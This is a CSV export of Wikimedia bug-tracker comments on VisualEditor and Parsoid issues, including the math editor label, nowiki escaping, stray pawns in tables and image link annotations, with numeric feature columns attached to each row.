257040,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",okay but I checked it on Betalabs.,,,1386810610,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,12.0,12.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,okay but I checked it on Betalabs.
257034,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","@ryasmeen Fixed != deployed to production. That happens at a later time, usually somewhere within 2 weeks after getting fixed.",,,1386810532,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.541666666666667,0.9583333333333334,"SCREEN_NAME Fixed != deployed to production. That happens at a later time, usually somewhere within 2 weeks after getting fixed."
257028,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",I am still seeing label Latex instead of Formula,,,1386810322,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.444444444444445,1.0,I am still seeing label Latex instead of Formula
257021,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","Change 100112 merged by jenkins-bot:
Re-label the formula inspector to not be LaTeX

https://gerrit.wikimedia.org/r/100112",,,1386803523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9523809523809523,"Change 100112 merged by jenkins-bot:
Re-label the formula inspector to not be LaTeX

GERRIT_URL"
257015,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","Change 100112 had a related patch set uploaded by Jforrester:
Re-label the formula inspector to not be LaTeX

https://gerrit.wikimedia.org/r/100112",,,1386383633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 100112 had a related patch set uploaded by Jforrester:
Re-label the formula inspector to not be LaTeX

GERRIT_URL"
257009,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","I'm minded to just call it ""Formula"". Thoughts?",,,1385494999,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,8.0,8.0,15.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.9230769230769231,"I'm minded to just call it ""Formula"". Thoughts?"
55228,Nowiki tag not properly escaped when combined with other wiki markup,"From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Bold_and_nowiki.2C_other_markup

If you add a nowiki tag by itself, the angle brackets get escaped out (&amp;lt;nowiki&amp;gt;, or does just plain &lt;/nowiki&gt; work here at Bugzilla?).  If you add a nowiki tag plus some wikimarkup, like an asterisk at the start of a line or bold text, it doesn't.  This results in unpaired tags, sometimes functional wikimarkup, and always unexpected results.

Try this:

* You need a </nowiki> tag '''here'''.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377197160,1402417039.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-q5vutkamr63367rd7zxs,task_description,resolved,True,c1,3,False,False,False,7,,0.5,0.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,1.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.5,1.0,3.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,6.0,1.5,0.5,1.5,0.0,3.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,2.5,3.6440677966101696,0.711864406779661,"From URL

If you add a nowiki tag by itself, the angle brackets get escaped out (&amp;lt;nowiki&amp;gt;, or does just plain &lt;/nowiki&gt; work here at Bugzilla?).  If you add a nowiki tag plus some wikimarkup, like an asterisk at the start of a line or bold text, it doesn't.  This results in unpaired tags, sometimes functional wikimarkup, and always unexpected results.

Try this:

* You need a </nowiki> tag '''here'''.

--------------------------
**Version**: unspecified
**Severity**: normal"
255560,Nowiki tag not properly escaped when combined with other wiki markup,"Change 137525 merged by jenkins-bot:
Escape nowiki when combined with other wiki markup

https://gerrit.wikimedia.org/r/137525",,,1402416475,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 137525 merged by jenkins-bot:
Escape nowiki when combined with other wiki markup

GERRIT_URL"
255553,Nowiki tag not properly escaped when combined with other wiki markup,"Change 137525 had a related patch set uploaded by Arlolra:
Escape nowiki when combined with other wiki markup

https://gerrit.wikimedia.org/r/137525",,,1401935637,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7727272727272725,1.0,"Change 137525 had a related patch set uploaded by Arlolra:
Escape nowiki when combined with other wiki markup

GERRIT_URL"
255546,Nowiki tag not properly escaped when combined with other wiki markup,"This is a Parsoid serializer bug:

[subbu@earth tests] echo '* &lt;/nowiki&gt; tag' | node parse --html2wt
<nowiki>* </nowiki></nowiki> tag",,,1377208818,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,18.0,3.727272727272727,0.8484848484848485,"This is a Parsoid serializer bug:

[subbu@earth tests] echo '* &lt;/nowiki&gt; tag' | node parse --html2wt
<nowiki>* </nowiki></nowiki> tag"
55214,"Slugs are created inside empty table rows, creating pawns if used","At https://en.wikipedia.org/w/index.php?title=Churnet_Valley_Railway&diff=prev&oldid=569277862 it seems that a table ending with trailing new line syntax

|-
|}

caused pawns to be added to the article. As discussed at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=569732999#Chess_pieces_still_happening this syntax, although technically wrong, will continue to be added to articles. VE and Parsoid should therefore deal with this cleanly without the addition of any pawns to the article.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377184320,1395077429.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jr5ycdlwcecuxieizpcv,task_description,resolved,True,c1,3,False,False,False,7,,1.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,17.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.023809523809524,0.6547619047619048,"At URL it seems that a table ending with trailing new line syntax

|-
|}

caused pawns to be added to the article. As discussed at URL this syntax, although technically wrong, will continue to be added to articles. VE and Parsoid should therefore deal with this cleanly without the addition of any pawns to the article.

--------------------------
**Version**: unspecified
**Severity**: normal"
254487,"Slugs are created inside empty table rows, creating pawns if used","Change 119067 merged by jenkins-bot:
Only insert slugs where paragraphs are allowed

https://gerrit.wikimedia.org/r/119067",,,1395076819,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 119067 merged by jenkins-bot:
Only insert slugs where paragraphs are allowed

GERRIT_URL"
254479,"Slugs are created inside empty table rows, creating pawns if used","Change 119067 had a related patch set uploaded by Esanders:
Only insert slugs where paragraphs are allowed

https://gerrit.wikimedia.org/r/119067",,,1395073111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 119067 had a related patch set uploaded by Esanders:
Only insert slugs where paragraphs are allowed

GERRIT_URL"
254471,"Slugs are created inside empty table rows, creating pawns if used",I think this edit https://fr.wikipedia.org/w/index.php?title=Cash_investigation&diff=96500094&oldid=95914321 is related.,,,1379005591,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,I think this edit URL is related.
254465,"Slugs are created inside empty table rows, creating pawns if used","(In reply to comment #2)
> To perhaps clarify, VE and parsoid should accept both
> 
> |content
> |-
> |}
> 
> and
> 
> |content
> |}
> 
> as validly closed templates that should be displayed and rendered
> identically.

We currently don't strip empty table rows, which seems to be done in some conditions in the PHP parser + tidy combo. We could emulate this behavior in templated content and maybe also outside of templated content, but will need to avoid dirty diffs and preserve WYSIWYG behavior even when another row is added in VE.

> Both syntaxes should be retained as is when roundtripping.

This should already be the case in Parsoid. I just verified this at http://parsoid.wmflabs.org/_rtform/. Pawn insertion would a DOM modification in VE.",,,1377295726,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,True,,,7,,0.5,0.0,0.0,1.5,0.5,2.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,2.0,0.0,6.5,8.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,1.5,0.0,2.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.5,1.0,3.0,6.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,2.0,8.0,11.0,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.8011634056055,0.6838974087784242,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We currently don't strip empty table rows, which seems to be done in some conditions in the PHP parser + tidy combo. We could emulate this behavior in templated content and maybe also outside of templated content, but will need to avoid dirty diffs and preserve WYSIWYG behavior even when another row is added in VE.

QUOTE

This should already be the case in Parsoid. I just verified this at URL Pawn insertion would a DOM modification in VE."
254461,"Slugs are created inside empty table rows, creating pawns if used","To perhaps clarify, VE and parsoid should accept both

|content
|-
|}

and

|content
|}

as validly closed templates that should be displayed and rendered identically. Both syntaxes should be retained as is when roundtripping.",,,1377282757,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,6.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,6.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.23404255319149,0.6808510638297872,"To perhaps clarify, VE and parsoid should accept both

|content
|-
|}

and

|content
|}

as validly closed templates that should be displayed and rendered identically. Both syntaxes should be retained as is when roundtripping."
254459,"Slugs are created inside empty table rows, creating pawns if used",Pawns are firmly VE territory. Moving to the VisualEditor product.,,,1377186019,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.75,0.9166666666666666,Pawns are firmly VE territory. Moving to the VisualEditor product.
55206,"VisualEditor: Blank page, list, [enter] lose cursor","<<If I edit a blank page, press on the number list or bullet list icon and then press enter, the page remains blank but I have no cursor. Then other strange things start to happen. Pressing the link icon does not seem to do anything. I can press some icons (transclusion, references, etc) and they will appear, but if I then exit it, pressing it again or any other icon does nothing. Undo works though. FF 23.0.1 Win7. --Atethnekos (Discussion, Contributions) 21:27, 21 August 2013 (UTC) >>

Same for me, on Chrome the cursor does not disappear and you can press icons more than once, but if you type a word it will be split on more lines and you won't be able to wikilink it.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377164400,1394678478.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-l56nfzkytddrozusk6lo,task_description,resolved,True,c1,3,False,False,False,7,,1.0,0.5,0.0,0.5,1.5,5.0,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,5.5,6.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.5,0.0,2.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.5,1.5,4.5,4.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,7.0,6.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.5,1.0,1.0,0.0,2.0,3.611219958202717,0.6800548589341693,"<<If I edit a blank page, press on the number list or bullet list icon and then press enter, the page remains blank but I have no cursor. Then other strange things start to happen. Pressing the link icon does not seem to do anything. I can press some icons (transclusion, references, etc) and they will appear, but if I then exit it, pressing it again or any other icon does nothing. Undo works though. FF 23.0.1 Win7. --Atethnekos (Discussion, Contributions) 21:27, 21 August 2013 (UTC) >>

Same for me, on Chrome the cursor does not disappear and you can press icons more than once, but if you type a word it will be split on more lines and you won't be able to wikilink it.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
254051,"VisualEditor: Blank page, list, [enter] lose cursor",This was fixed a long while ago.,,,1394678478,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l56nfzkytddrozusk6lo,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,This was fixed a long while ago.
55151,VisualEditor: MW images shouldn't be able to take a link annotation,"There is no way to convert an image wrapped in a link to wikitext, so we shouldn't let a user do it. A plain image, on the other hand, can be link wrapped and we already handle this correctly.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377087600,1379981344.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-oupbsd5554xmfpbxxxyj,task_description,resolved,True,c1,3,True,False,True,7,,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,6.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5873015873015874,0.7142857142857143,"There is no way to convert an image wrapped in a link to wikitext, so we shouldn't let a user do it. A plain image, on the other hand, can be link wrapped and we already handle this correctly.

--------------------------
**Version**: unspecified
**Severity**: normal"
251316,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85010 merged by jenkins-bot:
Node annotation blacklists

https://gerrit.wikimedia.org/r/85010",,,1379981366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,"Change 85010 merged by jenkins-bot:
Node annotation blacklists

GERRIT_URL"
251310,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85011 merged by jenkins-bot:
MW*ImageNode's can't take link annotations

https://gerrit.wikimedia.org/r/85011",,,1379981363,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,"Change 85011 merged by jenkins-bot:
MW*ImageNode's can't take link annotations

GERRIT_URL"
251302,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85011 had a related patch set uploaded by Esanders:
MW*ImageNode's can't take link annotations

